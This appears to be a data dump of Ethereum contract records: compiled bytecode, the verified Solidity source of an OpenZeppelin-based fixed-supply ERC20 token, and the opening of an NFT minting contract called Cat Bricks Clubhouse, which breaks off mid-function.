61436d565b92915050565b600081359050612d2a81614384565b92915050565b600081519050612d3f81614384565b92915050565b600082601f830112612d5a57612d59613e09565b5b8135612d6a848260208601612c6d565b91505092915050565b600082601f830112612d8857612d87613e09565b5b8135612d98848260208601612caf565b91505092915050565b600081359050612db08161439b565b92915050565b600060208284031215612dcc57612dcb613e18565b5b6000612dda84828501612cf1565b91505092915050565b60008060408385031215612dfa57612df9613e18565b5b6000612e0885828601612cf1565b9250506020612e1985828601612cf1565b9150509250929050565b600080600060608486031215612e3c57612e3b613e18565b5b6000612e4a86828701612cf1565b9350506020612e5b86828701612cf1565b9250506040612e6c86828701612da1565b9150509250925092565b60008060008060808587031215612e9057612e8f613e18565b5b6000612e9e87828801612cf1565b9450506020612eaf87828801612cf1565b9350506040612ec087828801612da1565b925050606085013567ffffffffffffffff811115612ee157612ee0613e13565b5b612eed87828801612d45565b91505092959194509250565b60008060408385031215612f1057612f0f613e18565b5b6000612f1e85828601612cf1565b9250506020612f2f85828601612d06565b9150509250929050565b60008060408385031215612f5057612f4f613e18565b5b6000612f5e85828601612cf1565b9250506020612f6f85828601612da1565b9150509250929050565b600060208284031215612f8f57612f8e613e18565b5b6000612f9d84828501612d06565b91505092915050565b600060208284031215612fbc57612fbb613e18565b5b6000612fca84828501612d1b565b91505092915050565b600060208284031215612fe957612fe8613e18565b5b6000612ff784828501612d30565b91505092915050565b60006020828403121561301657613015613e18565b5b600082013567ffffffffffffffff81111561303457613033613e13565b5b61304084828501612d73565b91505092915050565b60006020828403121561305f5761305e613e18565b5b600061306d84828501612da1565b91505092915050565b6000806040838503121561308d5761308c613e18565b5b600061309b85828601612da1565b92505060206130ac85828601612cf1565b9150509250929050565b60006130c2838361356e565b60208301905092915050565b6130d781613b8b565b82525050565b60006130e8826139ff565b6130f28185613a2d565b93506130fd836139da565b8060005b8381101561312e57815161311588826130b6565b975061312083613a20565b925050600181019050613101565b5085935050505092915050565b61314481613b9d565b82525050565b600061315582613a0a565b61315f8185613a3e565b935061316f818560208601613c0e565b61317881613e1d565b840191505092915050565b600061318e82613a15565b6131988185613a5a565b93506131a8818560208601613c0e565b6131b181613e1d565b840191505092915050565b60006131c782613a15565b6131d18185613a6b565b93506131e1818560208601613c0e565b80840191505092915050565b600081546131fa81613c41565b6132048186613a6b565b9450600182166000811461321f576001811461323057613263565b60ff19831686528186019350613263565b613239856139ea565b60005b8381101561325b5781548189015260018201915060208101905061323c565b838801955050505b50505092915050565b6000613279603283613a5a565b915061328482613e2e565b604082019050919050565b600061329c602683613a5a565b91506132a782613e7d565b604082019050919050565b60006132bf602583613a5a565b91506132ca82613ecc565b604082019050919050565b60006132e2601c83613a5a565b91506132ed82613f1b565b602082019050919050565b6000613305601483613a5a565b915061331082613f44565b602082019050919050565b6000613328602483613a5a565b915061333382613f6d565b604082019050919050565b600061334b601983613a5a565b915061335682613fbc565b602082019050919050565b600061336e602c83613a5a565b915061337982613fe5565b604082019050919050565b6000613391603883613a5a565b915061339c82614034565b604082019050919050565b60006133b4602a83613a5a565b91506133bf82614083565b604082019050919050565b60006133d7602983613a5a565b91506133e2826140d2565b604082019050919050565b60006133fa602083613a5a565b915061340582614121565b602082019050919050565b600061341d602c83613a5a565b91506134288261414a565b604082019050919050565b6000613440602083613a5a565b915061344b82614199565b602082019050919050565b6000613463601783613a5a565b915061346e826141c2565b602082019050919050565b6000613486602f83613a5a565b9150613491826141eb565b604082019050919050565b60006134a9602183613a5a565b91506134b48261423a565b604082019050919050565b60006134cc601e83613a5a565b91506134d782614289565b602082019050919050565b60006134ef600083613a4f565b91506134fa826142b2565b600082019050919050565b6000613512601483613a5a565b915061351d826142b5565b602082019050919050565b6000613535603183613a5a565b9150613540826142de565b604082019050919050565b6000613558601383613a5a565b91506135638261432d565b602082019050919050565b61357781613bf5565b82525050565b61358681613bf5565b82525050565b600061359882866131bc565b91506135a482856131bc565b91506135b082846131ed565b9150819050949350505050565b60006135c8826134e2565b9150819050919050565b60006020820190506135e760008301846130ce565b92915050565b600060808201905061360260008301876130ce565b61360f60208301866130ce565b61361c604083018561357d565b818103606083015261362e818461314a565b905095945050505050565b6000602082019050818103600083015261365381846130dd565b905092915050565b6000602082019050613670600083018461313b565b92915050565b600060208201905081810360008301526136908184613183565b905092915050565b600060208201905081810360008301526136b18161326c565b9050919050565b600060208201905081810360008301526136d18161328f565b9050919050565b600060208201905081810360008301526136f1816132b2565b9050919050565b60006020820190508181036000830152613711816132d5565b9050919050565b60006020820190508181036000830152613731816132f8565b9050919050565b600060208201905081810360008301526137518161331b565b9050919050565b600060208201905081810360008301526137718161333e565b9050919050565b6000602082019050818103600083015261379181613361565b9050919050565b600060208201905081810360008301526137b181613384565b9050919050565b600060208201905081810360008301526137d1816133a7565b9050919050565b600060208201905081810360008301526137f1816133ca565b9050919050565b60006020820190508181036000830152613811816133ed565b9050919050565b6000602082019050818103600083015261383181613410565b9050919050565b6000602082019050818103600083015261385181613433565b9050919050565b6000602082019050818103600083015261387181613456565b9050919050565b6000602082019050818103600083015261389181613479565b9050919050565b600060208201905081810360008301526138b18161349c565b9050919050565b600060208201905081810360008301526138d1816134bf565b9050919050565b600060208201905081810360008301526138f181613505565b9050919050565b6000602082019050818103600083015261391181613528565b9050919050565b600060208201905081810360008301526139318161354b565b9050919050565b600060208201905061394d600083018461357d565b92915050565b600061395d61396e565b90506139698282613c73565b919050565b6000604051905090565b600067ffffffffffffffff82111561399357613992613dda565b5b61399c82613e1d565b9050602081019050919050565b600067ffffffffffffffff8211156139c4576139c3613dda565b5b6139cd82613e1d565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000613a8182613bf5565b9150613a8c83613bf5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613ac157613ac0613d1e565b5b828201905092915050565b6000613ad782613bf5565b9150613ae283613bf5565b925082613af257613af1613d4d565b5b828204905092915050565b6000613b0882613bf5565b9150613b1383613bf5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b4c57613b4b613d1e565b5b828202905092915050565b6000613b6282613bf5565b9150613b6d83613bf5565b925082821015613b8057613b7f613d1e565b5b828203905092915050565b6000613b9682613bd5565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613c2c578082015181840152602081019050613c11565b83811115613c3b576000848401525b50505050565b60006002820490506001821680613c5957607f821691505b60208210811415613c6d57613c6c613d7c565b5b50919050565b613c7c82613e1d565b810181811067ffffffffffffffff82111715613c9b57613c9a613dda565b5b80604052505050565b6000613caf82613bf5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613ce257613ce1613d1e565b5b600182019050919050565b6000613cf882613bf5565b9150613d0383613bf5565b925082613d1357613d12613d4d565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f496e76616c6964206d696e7420616d6f756e7421000000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54686520636f6e74726163742069732070617573656421000000000000000000600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f63616c6c657220616c7265616479206d696e74656420666f7220667265650000600082015250565b50565b7f4d617820737570706c7920657863656564656421000000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f496e73756666696369656e742066756e64732100000000000000000000000000600082015250565b61435f81613b8b565b811461436a57600080fd5b50565b61437681613b9d565b811461438157600080fd5b50565b61438d81613ba9565b811461439857600080fd5b50565b6143a481613bf5565b81146143af57600080fd5b5056fea264697066735822122051c87eb589a5ab55ba555aea2751a31b52d2057a6cde2d9cd8917fb85d15bfee64736f6c63430008070033
[ 7, 5 ]
0xf1c9ae165f89ac23ce7d5ff03bed2091643047e2
/** *Submitted for verification at Etherscan.io on 2021-06-24 */ // File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol pragma solidity ^0.8.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } } // File: @openzeppelin/contracts/token/ERC20/presets/ERC20PresetFixedSupply.sol pragma solidity ^0.8.0; /** * @dev {ERC20} token, including: * * - Preminted initial supply * - Ability for holders to burn (destroy) their tokens * - No access control mechanism (for minting/pausing) and hence no governance * * This contract uses {ERC20Burnable} to include burn capabilities - head to * its documentation for details. * * _Available since v3.4._ */ contract ERC20PresetFixedSupply is ERC20Burnable { /** * @dev Mints `initialSupply` amount of token and transfers them to `owner`. * * See {ERC20-constructor}. */ constructor( string memory name, string memory symbol, uint256 initialSupply, address owner ) ERC20(name, symbol) { _mint(owner, initialSupply); } } // File: contracts/million.sol // Million token pragma solidity ^0.8.0; contract ERC20Token is ERC20PresetFixedSupply { constructor( string memory name, string memory symbol, uint256 initialSupply ) ERC20PresetFixedSupply(name, symbol, initialSupply, msg.sender) {} }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b41146101ad578063a457c2d7146101b5578063a9059cbb146101c8578063dd62ed3e146101db57600080fd5b806342966c681461015c57806370a082311461017157806379cc67901461019a57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc610214565b6040516100e99190610a2c565b60405180910390f35b6101056101003660046109eb565b6102a6565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046109b0565b6102bc565b604051601281526020016100e9565b6101056101573660046109eb565b610372565b61016f61016a366004610a14565b6103a9565b005b61011961017f36600461095d565b6001600160a01b031660009081526020819052604090205490565b61016f6101a83660046109eb565b6103b6565b6100dc61043e565b6101056101c33660046109eb565b61044d565b6101056101d63660046109eb565b6104e8565b6101196101e936600461097e565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461022390610aae565b80601f016020809104026020016040519081016040528092919081815260200182805461024f90610aae565b801561029c5780601f106102715761010080835404028352916020019161029c565b820191906000526020600020905b81548152906001019060200180831161027f57829003601f168201915b5050505050905090565b60006102b33384846104f5565b50600192915050565b60006102c984848461061a565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103535760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61036785336103628685610a97565b6104f5565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916102b3918590610362908690610a7f565b6103b333826107f2565b50565b60006103c283336101e9565b9050818110156104205760405162461bcd60e51b8152602060048201526024808201527f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f77604482015263616e636560e01b606482015260840161034a565b61042f83336103628585610a97565b61043983836107f2565b505050565b60606004805461022390610aae565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104cf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161034a565b6104de33856103628685610a97565b5060019392505050565b60006102b333848461061a565b6001600160a01b0383166105575760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161034a565b6001600160a01b0382166105b85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161034a565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661067e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161034a565b6001600160a01b0382166106e05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161034a565b6001600160a01b038316600090815260208190526040902054818110156107585760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161034a565b6107628282610a97565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610798908490610a7f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107e491815260200190565b60405180910390a350505050565b6001600160a01b0382166108525760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161034a565b6001600160a01b038216600090815260208190526040902054818110156108c65760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161034a565b6108d08282610a97565b6001600160a01b038416600090815260208190526040812091909155600280548492906108fe908490610a97565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161060d565b80356001600160a01b038116811461095857600080fd5b919050565b60006020828403121561096e578081fd5b61097782610941565b9392505050565b60008060408385031215610990578081fd5b61099983610941565b91506109a760208401610941565b90509250929050565b6000806000606084860312156109c4578081fd5b6109cd84610941565b92506109db60208501610941565b9150604084013590509250925092565b600080604083850312156109fd578182fd5b610a0683610941565b946020939093013593505050565b600060208284031215610a25578081fd5b5035919050565b6000602080835283518082850152825b81811015610a5857858101830151858201604001528201610a3c565b81811115610a695783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610a9257610a92610ae9565b500190565b600082821015610aa957610aa9610ae9565b500390565b600181811c90821680610ac257607f821691505b60208210811415610ae357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212204061bf7fb1e3b22fba37de7a01302aa6d52b12d763a719abc54b223f742447c464736f6c63430008040033
[ 38 ]
0xF1ca8Af8909e63FadFFFe8C85a46aAdc3eebAB0D
//SPDX-License-Identifier: MIT pragma solidity ^0.8.11; /* CAT BRICKS CLUBHOUSE @INVADERETH - DEV @OOFFSETT - ART @ITSFUJIFUJI - FINANCE @HUMZAH_ETH - COMMUNITY @SHARK_IDK - COMMUNITY @DAKL__ - MARKETING @1KIWEE - MARKETING This contract has been insanely gas optimized with the latest best practices. Features such as off-chain whitelisting and permanent OpenSea approval have been implemented - saving gas both on the minting and secondary market end. LEGAL NOTICE The following addresses the issues of copyright or trademark infringement. LEGO® is a trademark of the LEGO Group, which does not sponsor, authorize or endorse the Cat Bricks Clubhouse project. The LEGO Group is neither endorsing the modification in any way, shape, or form, nor accepting any responsibility for unforeseen and/or adverse consequences. The patent for the Toy figure model expired in 1993. The models are open to usage so long as the aforementioned LEGO brand is not infringed upon. */ import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "./ERC721SeqEnumerable.sol"; import "./common/ContextMixin.sol"; import "./common/NativeMetaTransaction.sol"; contract OwnableDelegateProxy { } contract OpenSeaProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } contract CatBricksClubhouse is ERC721SeqEnumerable, ContextMixin, NativeMetaTransaction, Ownable { using Strings for uint256; using ECDSA for bytes32; uint256 public constant CBC_MAX = 9999; uint256 public constant CBC_PRIVATE = 8888; uint256 public constant CBC_PRICE = 0.08 ether; uint256 public constant PRIV_PER_MINT = 2; uint256 public constant PUB_PER_MINT = 4; uint256 public lostCats; string private _contractURI = "https://cbc.mypinata.cloud/ipfs/Qmdbo4z1WLduLoMe7sU9YXe8SDGkiFc7uXwnnodJ2anfc5"; string private _tokenBaseURI = "https://cbc.mypinata.cloud/ipfs/QmZZ5FiQ8FVroynJ4e9v7q5NPygojWv3xFxpJZjaxSkx1H/"; string private _tokenExtension = ".json"; address private _vault = 0x563e6750e382fe86E458153ba520B89F986471aa; address private _signer = 0xb82209b16Ab5c56716f096dc1a51B95d424f755a; address private _proxy = 0xa5409ec958C83C3f309868babACA7c86DCB077c1; bool public presaleLive; bool public saleLive; mapping(address => bool) public projectProxy; mapping(address => uint256) public presalerListPurchases; constructor() ERC721Sequencial("Cat Bricks Clubhouse", "CATBRICK") { _initializeEIP712("Cat Bricks Clubhouse"); } // Mint during public sale function buy(uint256 tokenQuantity) external payable { require(saleLive, "Sale Inactive"); require(!presaleLive, "Only Presale"); require(tokenQuantity <= PUB_PER_MINT, "Exceed Max"); require(totalSupply() + tokenQuantity < CBC_MAX, "Out of Stock"); require(CBC_PRICE * tokenQuantity <= msg.value, "More ETH Needed"); for (uint256 i = 0; i < tokenQuantity; i++) { _safeMint(msg.sender); } } // Mint during presale - disables contract minting function privateBuy(uint256 tokenQuantity, bytes32 hash, bytes memory signature) external payable { require(!saleLive && presaleLive, "Presale Inactive"); require(matchAddressSigner(hash, signature), "Contract Disabled for Presale"); require(tokenQuantity <= PRIV_PER_MINT, "Exceed Max"); require(presalerListPurchases[msg.sender] + tokenQuantity <= PRIV_PER_MINT, "Holding Max Allowed"); require(CBC_PRICE * tokenQuantity <= msg.value, "More ETH"); require(totalSupply() + tokenQuantity <= CBC_PRIVATE, "Exceed Supply"); for (uint256 i = 0; i < tokenQuantity; i++) { _safeMint(msg.sender); } presalerListPurchases[msg.sender] += tokenQuantity; } // Close or open the private sale function togglePrivateSaleStatus() external onlyOwner { presaleLive = !presaleLive; } // Close or open the public sale function toggleSaleStatus() external onlyOwner { saleLive = 